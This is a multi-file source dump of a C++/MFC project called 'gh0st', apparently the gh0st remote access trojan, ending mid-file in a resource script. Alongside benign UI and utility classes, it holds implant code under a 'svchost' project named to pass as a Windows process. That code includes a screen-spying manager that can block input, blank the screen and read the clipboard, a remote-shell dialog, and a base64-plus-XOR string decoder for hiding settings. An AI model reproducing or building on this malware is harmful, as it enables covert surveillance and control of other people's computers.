////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_) 6 | #define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | class CBuffer 13 | { 14 | // Attributes 15 | protected: 16 | PBYTE m_pBase; 17 | PBYTE m_pPtr; 18 | UINT m_nSize; 19 | 20 | 21 | // Methods 22 | protected: 23 | UINT ReAllocateBuffer(UINT nRequestedSize); 24 | UINT DeAllocateBuffer(UINT nRequestedSize); 25 | UINT GetMemSize(); 26 | public: 27 | void ClearBuffer(); 28 | 29 | UINT Delete(UINT nSize); 30 | UINT Read(PBYTE pData, UINT nSize); 31 | BOOL Write(PBYTE pData, UINT nSize); 32 | BOOL Write(CString& strData); 33 | UINT GetBufferLen(); 34 | int Scan(PBYTE pScan,UINT nPos); 35 | BOOL Insert(PBYTE pData, UINT nSize); 36 | BOOL Insert(CString& strData); 37 | 38 | void Copy(CBuffer& buffer); 39 | 40 | PBYTE GetBuffer(UINT nPos=0); 41 | 42 | CBuffer(); 43 | virtual ~CBuffer(); 44 | 45 | void FileWrite(const CString& strFileName); 46 | 47 | }; 48 | 49 | #endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_) 50 | -------------------------------------------------------------------------------- /gh0st/control/HoverEdit.cpp: -------------------------------------------------------------------------------- 1 | // HoverEdit.cpp : implementation file 2 | // 3 | 4 | #include "stdafx.h" 5 | #include "HoverEdit.h" 6 | 7 | #ifdef _DEBUG 8 | #define new DEBUG_NEW 9 | #undef THIS_FILE 10 | static char THIS_FILE[] = __FILE__; 11 | #endif 12 | 13 | ///////////////////////////////////////////////////////////////////////////// 14 | // CHoverEdit 15 | 16 | CHoverEdit::CHoverEdit() 17 | { 18 | } 19 | 20 | CHoverEdit::~CHoverEdit() 21 | { 22 | } 23 | 24 | BEGIN_MESSAGE_MAP(CHoverEdit, CEdit) 25 | //{{AFX_MSG_MAP(CHoverEdit) 26 | ON_WM_NCPAINT() 27 | //}}AFX_MSG_MAP 28 | END_MESSAGE_MAP() 29 | 30 | ///////////////////////////////////////////////////////////////////////////// 31 | // CHoverEdit message handlers 32 | 33 | void CHoverEdit::OnHoverEnter() 34 | { 35 | Redraw(); 36 | } 37 | 38 | void CHoverEdit::OnHoverLeave() 39 | { 40 | Redraw(); 41 | } 42 | 43 | void CHoverEdit::Redraw() 44 | { 45 | RedrawWindow(NULL,NULL,RDW_FRAME|RDW_INVALIDATE); 46 | } 47 | 48 | void CHoverEdit::OnNcPaint() 49 | { 50 | CWindowDC DC(this); 51 | CRect Rect; 52 | GetWindowRect(&Rect); 53 | if (IsHover()) 54 | { 55 | DC.Rectangle(0,0,Rect.Width(),Rect.Height()); 56 | } 57 | else 58 | { 59 | DC.DrawEdge(CRect(0,0,Rect.Width(),Rect.Height()),EDGE_SUNKEN,BF_FLAT|BF_RECT); 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /Server/svchost/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : svchost 3 | ======================================================================== 4 | 5 | 6 | AppWizard has created this svchost application for you. 7 | 8 | This file contains a summary of what you will find in each of the files that 9 | make up your svchost application. 10 | 11 | svchost.dsp 12 | This file (the project file) contains information at the project level and 13 | is used to build a single project or subproject. Other users can share the 14 | project (.dsp) file, but they should export the makefiles locally. 15 | 16 | svchost.cpp 17 | This is the main application source file. 18 | 19 | 20 | ///////////////////////////////////////////////////////////////////////////// 21 | Other standard files: 22 | 23 | StdAfx.h, StdAfx.cpp 24 | These files are used to build a precompiled header (PCH) file 25 | named svchost.pch and a precompiled types file named StdAfx.obj. 26 | 27 | 28 | ///////////////////////////////////////////////////////////////////////////// 29 | Other notes: 30 | 31 | AppWizard uses "TODO:" to indicate parts of the source code you 32 | should add to or customize. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | -------------------------------------------------------------------------------- /Server/install/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | WIN32 APPLICATION : install 3 | ======================================================================== 4 | 5 | 6 | AppWizard has created this install application for you. 7 | 8 | This file contains a summary of what you will find in each of the files that 9 | make up your install application. 10 | 11 | install.cpp 12 | This is the main application source file. 13 | 14 | install.dsp 15 | This file (the project file) contains information at the project level and 16 | is used to build a single project or subproject. Other users can share the 17 | project (.dsp) file, but they should export the makefiles locally. 18 | 19 | 20 | ///////////////////////////////////////////////////////////////////////////// 21 | Other standard files: 22 | 23 | StdAfx.h, StdAfx.cpp 24 | These files are used to build a precompiled header (PCH) file 25 | named install.pch and a precompiled types file named StdAfx.obj. 26 | 27 | 28 | ///////////////////////////////////////////////////////////////////////////// 29 | Other notes: 30 | 31 | AppWizard uses "TODO:" to indicate parts of the source code you 32 | should add to or customize. 33 | 34 | 35 | ///////////////////////////////////////////////////////////////////////////// 36 | -------------------------------------------------------------------------------- /Server/install/install.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {18326420-7136-4f89-83b9-0e0f00204027} 6 | cpp;c;cxx;rc;def;r;odl;idl;hpj;bat 7 | 8 | 9 | {20b6263f-18a0-417e-84f1-6083cf61213c} 10 | h;hpp;hxx;hm;inl 11 | 12 | 13 | {7ac026d1-028e-4def-8f8d-793438da3277} 14 | ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | 28 | 29 | Header Files 30 | 31 | 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /gh0st/include/CpuUsage.h: -------------------------------------------------------------------------------- 1 | // CpuUsage.h: interface for the CCpuUsage class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_) 6 | #define AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | #include 13 | #include 14 | 15 | #pragma comment(lib,"PDH.lib") 16 | 17 | 18 | #define MAX_RAW_VALUES 20 19 | 20 | const char szCounterName[] = "\\Processor(_Total)\\% Processor Time"; 21 | 22 | typedef struct _tag_PDHCounterStruct { 23 | HCOUNTER hCounter; // Handle to the counter - given to use by PDH Library 24 | int nNextIndex; // element to get the next raw value 25 | int nOldestIndex; // element containing the oldes raw value 26 | int nRawCount; // number of elements containing raw values 27 | PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES]; // Ring buffer to contain raw values 28 | } PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT; 29 | 30 | 31 | class CCpuUsage 32 | { 33 | public: 34 | CCpuUsage(); 35 | virtual ~CCpuUsage(); 36 | BOOL Init(); 37 | int GetUsage(); 38 | 39 | protected: 40 | 41 | PPDHCOUNTERSTRUCT m_pCounterStruct; 42 | HQUERY m_hQuery; 43 | 44 | 45 | }; 46 | 47 | #endif // !defined(AFX_CPUUSAGE_H__60CF4F03_9F01_41E8_A9FB_51F065D5F3C2__INCLUDED_) 48 | -------------------------------------------------------------------------------- /Server/svchost/common/ScreenManager.h: -------------------------------------------------------------------------------- 1 | // ScreenManager.h: interface for the CScreenManager class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_) 6 | #define AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | #include "Manager.h" 12 | #include "ScreenSpy.h" 13 | 14 | class CScreenManager : public CManager 15 | { 16 | public: 17 | CScreenManager(CClientSocket *pClient); 18 | virtual ~CScreenManager(); 19 | virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); 20 | void sendBITMAPINFO(); 21 | void sendFirstScreen(); 22 | void sendNextScreen(); 23 | bool IsMetricsChange(); 24 | bool IsConnect(); 25 | int GetCurrentPixelBits(); 26 | bool m_bIsWorking; 27 | bool m_bIsBlockInput; 28 | bool m_bIsBlankScreen; 29 | private: 30 | BYTE m_bAlgorithm; 31 | bool m_bIsCaptureLayer; 32 | int m_biBitCount; 33 | HANDLE m_hWorkThread, m_hBlankThread; 34 | CCursorInfo m_CursorInfo; 35 | CScreenSpy *m_pScreenSpy; 36 | void ResetScreen(int biBitCount); 37 | void ProcessCommand(LPBYTE lpBuffer, UINT nSize); 38 | static DWORD WINAPI WorkThread(LPVOID lparam); 39 | static DWORD WINAPI ControlThread(LPVOID lparam); 40 | void UpdateLocalClipboard(char *buf, int len); 41 | void SendLocalClipboard(); 42 | }; 43 | 44 | #endif // !defined(AFX_SCREENMANAGER_H__737AA8BC_7729_4C54_95D0_8B1E99066D48__INCLUDED_) 45 | -------------------------------------------------------------------------------- /gh0st/FileTransferModeDlg.h: -------------------------------------------------------------------------------- 1 | #if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_) 2 | #define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_ 3 | 4 | #if _MSC_VER > 1000 5 | #pragma once 6 | #endif // _MSC_VER > 1000 7 | // FileTransferModeDlg.h : header file 8 | // 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // CFileTransferModeDlg dialog 12 | 13 | class CFileTransferModeDlg : public CDialog 14 | { 15 | // Construction 16 | public: 17 | CString m_strFileName; 18 | CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor 19 | 20 | // Dialog Data 21 | //{{AFX_DATA(CFileTransferModeDlg) 22 | enum { IDD = IDD_TRANSFERMODE_DLG }; 23 | // NOTE: the ClassWizard will add data members here 24 | //}}AFX_DATA 25 | 26 | 27 | // Overrides 28 | // ClassWizard generated virtual function overrides 29 | //{{AFX_VIRTUAL(CFileTransferModeDlg) 30 | protected: 31 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support 32 | //}}AFX_VIRTUAL 33 | 34 | // Implementation 35 | protected: 36 | 37 | // Generated message map functions 38 | //{{AFX_MSG(CFileTransferModeDlg) 39 | afx_msg void OnEndDialog(UINT id); 40 | virtual BOOL OnInitDialog(); 41 | //}}AFX_MSG 42 | DECLARE_MESSAGE_MAP() 43 | }; 44 | 45 | //{{AFX_INSERT_LOCATION}} 46 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 47 | 48 | #endif // !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_) 49 | -------------------------------------------------------------------------------- /gh0st/gh0stDoc.h: -------------------------------------------------------------------------------- 1 | // gh0stDoc.h : interface of the CGh0stDoc class 2 | // 3 | ///////////////////////////////////////////////////////////////////////////// 4 | 5 | #if !defined(AFX_GH0STDOC_H__57FB1788_3C2A_40A9_BAB7_3F192505E38E__INCLUDED_) 6 | #define AFX_GH0STDOC_H__57FB1788_3C2A_40A9_BAB7_3F192505E38E__INCLUDED_ 7 | 8 | #if _MSC_VER > 1000 9 | #pragma once 10 | #endif // _MSC_VER > 1000 11 | 12 | 13 | class CGh0stDoc : public CDocument 14 | { 15 | protected: // create from serialization only 16 | CGh0stDoc(); 17 | DECLARE_DYNCREATE(CGh0stDoc) 18 | 19 | // Attributes 20 | public: 21 | 22 | // Operations 23 | public: 24 | 25 | // Overrides 26 | // ClassWizard generated virtual function overrides 27 | //{{AFX_VIRTUAL(CGh0stDoc) 28 | public: 29 | virtual void Serialize(CArchive& ar); 30 | virtual void DeleteContents(); 31 | //}}AFX_VIRTUAL 32 | 33 | // Implementation 34 | public: 35 | virtual ~CGh0stDoc(); 36 | #ifdef _DEBUG 37 | virtual void AssertValid() const; 38 | virtual void Dump(CDumpContext& dc) const; 39 | #endif 40 | 41 | protected: 42 | 43 | // Generated message map functions 44 | protected: 45 | //{{AFX_MSG(CGh0stDoc) 46 | // NOTE - the ClassWizard will add and remove member functions here. 47 | // DO NOT EDIT what you see in these blocks of generated code ! 48 | //}}AFX_MSG 49 | DECLARE_MESSAGE_MAP() 50 | }; 51 | 52 | ///////////////////////////////////////////////////////////////////////////// 53 | 54 | //{{AFX_INSERT_LOCATION}} 55 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 56 | 57 | #endif // !defined(AFX_GH0STDOC_H__57FB1788_3C2A_40A9_BAB7_3F192505E38E__INCLUDED_) 58 | -------------------------------------------------------------------------------- /gh0st/CJ60Lib/CJ60Lib/Globals.h: -------------------------------------------------------------------------------- 1 | //////////////////////////////////////////////////////////////// 2 | // Copyright 1998 Paul DiLascia 3 | // If this code works, it was written by Paul DiLascia. 4 | // If not, I don't know who wrote it. 5 | // 6 | #ifndef _GLOBALS_H 7 | #define _GLOBALS_H 8 | 9 | #define countof(x) (sizeof(x)/sizeof(x[0])) 10 | 11 | #ifdef _DEBUG 12 | 13 | ////////////////// 14 | // TRACEFN is a macro that lets you generate indented TRACE output so you 15 | // can see the call stack. To use it: 16 | // 17 | // SomeFn(...) 18 | // { 19 | // TRACEFN("Entering SomeFn...\n"); 20 | // . 21 | // . 22 | // } 23 | // 24 | // Now all trace output after TRACEFN will be indented one space, until SomeFn 25 | // returns. You can put TRACEFN in multiple functions to see indented trace 26 | // output. For an example of this, see the HOOK sample program. 27 | // 28 | // NOTE: YOU MUST NOT USE TRACEFN IN A ONE-LINE IF STATEMENT! 29 | // This will fail: 30 | // 31 | // if (foo) 32 | // TRACEFN(...) 33 | // 34 | // Instead, you must enclose the TRACE in squiggle-brackets 35 | // 36 | // if (foo) { 37 | // TRACEFN(...) 38 | // } 39 | // 40 | #define TRACEFN CTraceFn __fooble; TRACE 41 | // 42 | // This class implements TRACEFN. Don't ever use directly! 43 | // 44 | class CTraceFn { 45 | private: 46 | static int nIndent; // current indent level 47 | friend void AFX_CDECL AfxTrace(LPCTSTR lpszFormat, ...); 48 | public: 49 | CTraceFn() { nIndent++; } // constructor bumps indent 50 | ~CTraceFn() { nIndent--; } // destructor restores it 51 | }; 52 | 53 | #else // NOT _DEBUG 54 | 55 | #define TRACEFN TRACE 56 | 57 | #endif // _DEBUG 58 | 59 | #endif // _GLOBALS_H 60 | -------------------------------------------------------------------------------- /gh0st/ThemeUtil.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /********************************************************************** 4 | ** 5 | ** ThemeUtil.h : include file 6 | ** 7 | ** by Andrzej Markowski June 2004 8 | ** 9 | **********************************************************************/ 10 | 11 | #include "TmSchema.h" 12 | 13 | #define THM_WM_THEMECHANGED 0x031A 14 | 15 | typedef struct _MY_MARGINS 16 | { 17 | int cxLeftWidth; 18 | int cxRightWidth; 19 | int cyTopHeight; 20 | int cyBottomHeight; 21 | } MY_MARGINS; 22 | 23 | class CThemeUtil 24 | { 25 | public: 26 | CThemeUtil(); 27 | virtual ~CThemeUtil(); 28 | BOOL OpenThemeData(HWND hWnd, LPCWSTR pszClassList); 29 | void CloseThemeData(); 30 | BOOL DrawThemePart(HDC hdc, int iPartId, int iStateId, const RECT *pRect); 31 | BOOL GetThemeColor(int iPartId, int iStateId, int iPropId, const COLORREF *pColor); 32 | BOOL GetThemeInt(int iPartId, int iStateId, int iPropId, const int *piVal); 33 | BOOL GetThemeMargins(int iPartId, int iStateId, int iPropId, const MY_MARGINS *pMargins); 34 | BOOL GetThemeEnumValue(int iPartId, int iStateId, int iPropId, const int *piVal); 35 | BOOL GetThemeFilename(int iPartId, int iStateId, int iPropId, 36 | OUT LPWSTR pszThemeFileName, int cchMaxBuffChars); 37 | BOOL GetCurrentThemeName(OUT LPWSTR pszThemeFileName, int cchMaxNameChars, 38 | OUT OPTIONAL LPWSTR pszColorBuff, int cchMaxColorChars, 39 | OUT OPTIONAL LPWSTR pszSizeBuff, int cchMaxSizeChars); 40 | HBITMAP LoadBitmap(LPWSTR pszBitmapName); 41 | private: 42 | BOOL IsWinXP(void); 43 | void FreeLibrary(); 44 | private: 45 | HINSTANCE m_hUxThemeDll; 46 | HINSTANCE m_hRcDll; 47 | UINT m_hTheme; 48 | }; 49 | -------------------------------------------------------------------------------- /gh0st/include/CpuUsage.cpp: -------------------------------------------------------------------------------- 1 | // CpuUsage.cpp: implementation of the CCpuUsage class. 2 | // 3 | ////////////////////////////////////////////////////////////////////// 4 | 5 | #include "stdafx.h" 6 | #include "CpuUsage.h" 7 | 8 | #ifdef _DEBUG 9 | #undef THIS_FILE 10 | static char THIS_FILE[]=__FILE__; 11 | #define new DEBUG_NEW 12 | #endif 13 | 14 | ////////////////////////////////////////////////////////////////////// 15 | // Construction/Destruction 16 | ////////////////////////////////////////////////////////////////////// 17 | 18 | CCpuUsage::CCpuUsage() 19 | { 20 | m_hQuery = NULL; 21 | m_pCounterStruct = NULL; 22 | 23 | } 24 | 25 | CCpuUsage::~CCpuUsage() 26 | { 27 | 28 | PdhCloseQuery(m_hQuery); 29 | delete m_pCounterStruct; 30 | } 31 | 32 | 33 | BOOL CCpuUsage::Init() 34 | { 35 | if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) 36 | return FALSE; 37 | 38 | m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT; 39 | 40 | PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter)); 41 | if (ERROR_SUCCESS != pdh_status) 42 | { 43 | return FALSE; 44 | } 45 | 46 | 47 | 48 | return TRUE; 49 | } 50 | 51 | 52 | int CCpuUsage::GetUsage() 53 | { 54 | PDH_FMT_COUNTERVALUE pdhFormattedValue; 55 | 56 | PdhCollectQueryData(m_hQuery); 57 | 58 | if (ERROR_SUCCESS != PdhGetFormattedCounterValue( 59 | m_pCounterStruct->hCounter, 60 | PDH_FMT_LONG, 61 | NULL, 62 | &pdhFormattedValue )) 63 | 64 | 65 | { 66 | return 0; 67 | } 68 | 69 | return pdhFormattedValue.longValue; 70 | } -------------------------------------------------------------------------------- /gh0st/CJ60Lib/Include/ShellPidl.h: -------------------------------------------------------------------------------- 1 | #ifndef __SHELLPIDL_H__ 2 | #define __SHELLPIDL_H__ 3 | 4 | #if _MSC_VER >= 1000 5 | #pragma once 6 | #endif // _MSC_VER >= 1000 7 | // ShellPidl.h : header file 8 | // 9 | 10 | #include 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | // CShellPidl window 14 | // 15 | // This source is part of CShellTree - Selom Ofori 16 | // 17 | // Version: 1.02 (any previously unversioned copies are older/inferior 18 | // 19 | // This code is free for all to use. Mutatilate it as much as you want 20 | // See MFCENUM sample from microsoft 21 | 22 | class AFX_EXT_CLASS CShellPidl 23 | { 24 | public: 25 | // STRUCTURES 26 | typedef struct tagLVID 27 | { 28 | LPSHELLFOLDER lpsfParent; 29 | LPITEMIDLIST lpi; 30 | ULONG ulAttribs; 31 | } LVITEMDATA, *LPLVITEMDATA; 32 | 33 | typedef struct tagID 34 | { 35 | LPSHELLFOLDER lpsfParent; 36 | LPITEMIDLIST lpi; 37 | LPITEMIDLIST lpifq; 38 | } TVITEMDATA, *LPTVITEMDATA; 39 | 40 | public: 41 | 42 | // Functions that deal with PIDLs 43 | LPITEMIDLIST ConcatPidls(LPCITEMIDLIST pidl1, LPCITEMIDLIST pidl2); 44 | LPITEMIDLIST GetFullyQualPidl(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi); 45 | LPITEMIDLIST CopyITEMID(LPMALLOC lpMalloc, LPITEMIDLIST lpi); 46 | BOOL GetName(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi, DWORD dwFlags, LPSTR lpFriendlyName); 47 | LPITEMIDLIST CreatePidl(UINT cbSize); 48 | UINT GetSize(LPCITEMIDLIST pidl); 49 | LPITEMIDLIST Next(LPCITEMIDLIST pidl); 50 | 51 | // Utility Functions 52 | BOOL DoTheMenuThing(HWND hwnd, LPSHELLFOLDER lpsfParent, LPITEMIDLIST lpi, LPPOINT lppt); 53 | int GetItemIcon(LPITEMIDLIST lpi, UINT uFlags); 54 | }; 55 | 56 | #endif // __SHELLTREE_H__ 57 | -------------------------------------------------------------------------------- /Server/install/decode.h: -------------------------------------------------------------------------------- 1 | static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 2 | 3 | static int pos(char c) 4 | { 5 | char *p; 6 | for(p = base64; *p; p++) 7 | if(*p == c) 8 | return p - base64; 9 | return -1; 10 | } 11 | 12 | int base64_decode(const char *str, char **data) 13 | { 14 | const char *s, *p; 15 | unsigned char *q; 16 | int c; 17 | int x; 18 | int done = 0; 19 | int len; 20 | s = (const char *)malloc(strlen(str)); 21 | q = (unsigned char *)s; 22 | for(p=str; *p && !done; p+=4){ 23 | x = pos(p[0]); 24 | if(x >= 0) 25 | c = x; 26 | else{ 27 | done = 3; 28 | break; 29 | } 30 | c*=64; 31 | 32 | x = pos(p[1]); 33 | if(x >= 0) 34 | c += x; 35 | else 36 | return -1; 37 | c*=64; 38 | 39 | if(p[2] == '=') 40 | done++; 41 | else{ 42 | x = pos(p[2]); 43 | if(x >= 0) 44 | c += x; 45 | else 46 | return -1; 47 | } 48 | c*=64; 49 | 50 | if(p[3] == '=') 51 | done++; 52 | else{ 53 | if(done) 54 | return -1; 55 | x = pos(p[3]); 56 | if(x >= 0) 57 | c += x; 58 | else 59 | return -1; 60 | } 61 | if(done < 3) 62 | *q++=(c&0x00ff0000)>>16; 63 | 64 | if(done < 2) 65 | *q++=(c&0x0000ff00)>>8; 66 | if(done < 1) 67 | *q++=(c&0x000000ff)>>0; 68 | } 69 | 70 | len = q - (unsigned char*)(s); 71 | 72 | *data = (char*)realloc((void *)s, len); 73 | 74 | return len; 75 | } 76 | 77 | char* MyDecode(char *str) 78 | { 79 | int i, len; 80 | char *data = NULL; 81 | len = base64_decode(str, &data); 82 | 83 | for (i = 0; i < len; i++) 84 | { 85 | data[i] -= 0x86; 86 | data[i] ^= 0x19; 87 | } 88 | return data; 89 | } -------------------------------------------------------------------------------- /Server/svchost/common/decode.h: -------------------------------------------------------------------------------- 1 | static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 2 | 3 | static int pos(char c) 4 | { 5 | char *p; 6 | for(p = base64; *p; p++) 7 | if(*p == c) 8 | return p - base64; 9 | return -1; 10 | } 11 | 12 | int base64_decode(const char *str, char **data) 13 | { 14 | const char *s, *p; 15 | unsigned char *q; 16 | int c; 17 | int x; 18 | int done = 0; 19 | int len; 20 | s = (const char *)malloc(strlen(str)); 21 | q = (unsigned char *)s; 22 | for(p=str; *p && !done; p+=4){ 23 | x = pos(p[0]); 24 | if(x >= 0) 25 | c = x; 26 | else{ 27 | done = 3; 28 | break; 29 | } 30 | c*=64; 31 | 32 | x = pos(p[1]); 33 | if(x >= 0) 34 | c += x; 35 | else 36 | return -1; 37 | c*=64; 38 | 39 | if(p[2] == '=') 40 | done++; 41 | else{ 42 | x = pos(p[2]); 43 | if(x >= 0) 44 | c += x; 45 | else 46 | return -1; 47 | } 48 | c*=64; 49 | 50 | if(p[3] == '=') 51 | done++; 52 | else{ 53 | if(done) 54 | return -1; 55 | x = pos(p[3]); 56 | if(x >= 0) 57 | c += x; 58 | else 59 | return -1; 60 | } 61 | if(done < 3) 62 | *q++=(c&0x00ff0000)>>16; 63 | 64 | if(done < 2) 65 | *q++=(c&0x0000ff00)>>8; 66 | if(done < 1) 67 | *q++=(c&0x000000ff)>>0; 68 | } 69 | 70 | len = q - (unsigned char*)(s); 71 | 72 | *data = (char*)realloc((void *)s, len); 73 | 74 | return len; 75 | } 76 | 77 | char* MyDecode(char *str) 78 | { 79 | int i, len; 80 | char *data = NULL; 81 | len = base64_decode(str, &data); 82 | 83 | for (i = 0; i < len; i++) 84 | { 85 | data[i] -= 0x86; 86 | data[i] ^= 0x19; 87 | } 88 | return data; 89 | } -------------------------------------------------------------------------------- /gh0st/control/WinXPButtonST.h: -------------------------------------------------------------------------------- 1 | // 2 | // Class: CWinXPButtonST 3 | // 4 | // Compiler: Visual C++ 5 | // eMbedded Visual C++ 6 | // Tested on: Visual C++ 6.0 7 | // Windows CE 3.0 8 | // 9 | // Created: 03/September/2001 10 | // Updated: 25/November/2002 11 | // 12 | // Author: Davide Calabro' davide_calabro@yahoo.com 13 | // Modified by jingzhou xu. 14 | // 15 | // Disclaimer 16 | // ---------- 17 | // THIS SOFTWARE AND THE ACCOMPANYING FILES ARE DISTRIBUTED "AS IS" AND WITHOUT 18 | // ANY WARRANTIES WHETHER EXPRESSED OR IMPLIED. NO REPONSIBILITIES FOR POSSIBLE 19 | // DAMAGES OR EVEN FUNCTIONALITY CAN BE TAKEN. THE USER MUST ASSUME THE ENTIRE 20 | // RISK OF USING THIS SOFTWARE. 21 | // 22 | // Terms of use 23 | // ------------ 24 | // THIS SOFTWARE IS FREE FOR PERSONAL USE OR FREEWARE APPLICATIONS. 25 | // IF YOU USE THIS SOFTWARE IN COMMERCIAL OR SHAREWARE APPLICATIONS YOU 26 | // ARE GENTLY ASKED TO DONATE 5$ (FIVE U.S. DOLLARS) TO THE AUTHOR: 27 | // 28 | // Davide Calabro' 29 | // P.O. Box 65 30 | // 21019 Somma Lombardo (VA) 31 | // Italy 32 | // 33 | #ifndef _WINXPBUTTONST_H_ 34 | #define _WINXPBUTTONST_H_ 35 | 36 | #if _MSC_VER > 1000 37 | #pragma once 38 | #endif // _MSC_VER > 1000 39 | 40 | #ifdef UNDER_CE 41 | #include "CeBtnST.h" 42 | #define BASE_BUTTONST CCeButtonST 43 | #else 44 | #include "BtnST.h" 45 | #define BASE_BUTTONST CButtonST 46 | #endif 47 | 48 | class CWinXPButtonST : public BASE_BUTTONST 49 | { 50 | public: 51 | CWinXPButtonST(); 52 | virtual ~CWinXPButtonST(); 53 | 54 | DWORD SetRounded(BOOL bRounded, BOOL bRepaint = TRUE); 55 | protected: 56 | virtual DWORD OnDrawBackground(CDC* pDC, CRect* pRect); 57 | virtual DWORD OnDrawBorder(CDC* pDC, CRect* pRect); 58 | 59 | private: 60 | BOOL m_bIsRounded; // Borders must be rounded? 61 | }; 62 | 63 | #endif 64 | -------------------------------------------------------------------------------- /gh0st/ShellDlg.h: -------------------------------------------------------------------------------- 1 | #if !defined(AFX_SHELLDLG_H__B9C64D08_103F_4401_9E0D_B8CCAE1B99C9__INCLUDED_) 2 | #define AFX_SHELLDLG_H__B9C64D08_103F_4401_9E0D_B8CCAE1B99C9__INCLUDED_ 3 | 4 | #if _MSC_VER > 1000 5 | #pragma once 6 | #endif // _MSC_VER > 1000 7 | // ShellDlg.h : header file 8 | // 9 | 10 | ///////////////////////////////////////////////////////////////////////////// 11 | // CShellDlg dialog 12 | 13 | class CShellDlg : public CDialog 14 | { 15 | // Construction 16 | public: 17 | void OnReceiveComplete(); 18 | CShellDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor 19 | // Dialog Data 20 | //{{AFX_DATA(CShellDlg) 21 | enum { IDD = IDD_SHELL }; 22 | CEdit m_edit; 23 | //}}AFX_DATA 24 | 25 | 26 | // Overrides 27 | // ClassWizard generated virtual function overrides 28 | //{{AFX_VIRTUAL(CShellDlg) 29 | public: 30 | virtual BOOL PreTranslateMessage(MSG* pMsg); 31 | protected: 32 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support 33 | //}}AFX_VIRTUAL 34 | 35 | // Implementation 36 | protected: 37 | 38 | // Generated message map functions 39 | //{{AFX_MSG(CShellDlg) 40 | virtual BOOL OnInitDialog(); 41 | afx_msg void OnClose(); 42 | afx_msg void OnSize(UINT nType, int cx, int cy); 43 | afx_msg void OnChangeEdit(); 44 | afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor); 45 | //}}AFX_MSG 46 | DECLARE_MESSAGE_MAP() 47 | private: 48 | HICON m_hIcon; 49 | ClientContext* m_pContext; 50 | CIOCPServer* m_iocpServer; 51 | UINT m_nCurSel; 52 | UINT m_nReceiveLength; 53 | void AddKeyBoardData(); 54 | void ResizeEdit(); 55 | }; 56 | 57 | //{{AFX_INSERT_LOCATION}} 58 | // Microsoft Visual C++ will insert additional declarations immediately before the previous line. 59 | 60 | #endif // !defined(AFX_SHELLDLG_H__B9C64D08_103F_4401_9E0D_B8CCAE1B99C9__INCLUDED_) 61 | -------------------------------------------------------------------------------- /Server/install/install.rc: -------------------------------------------------------------------------------- 1 | //Microsoft Developer Studio generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "afxres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // Chinese (P.R.C.) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) 19 | #ifdef _WIN32 20 | LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED 21 | #pragma 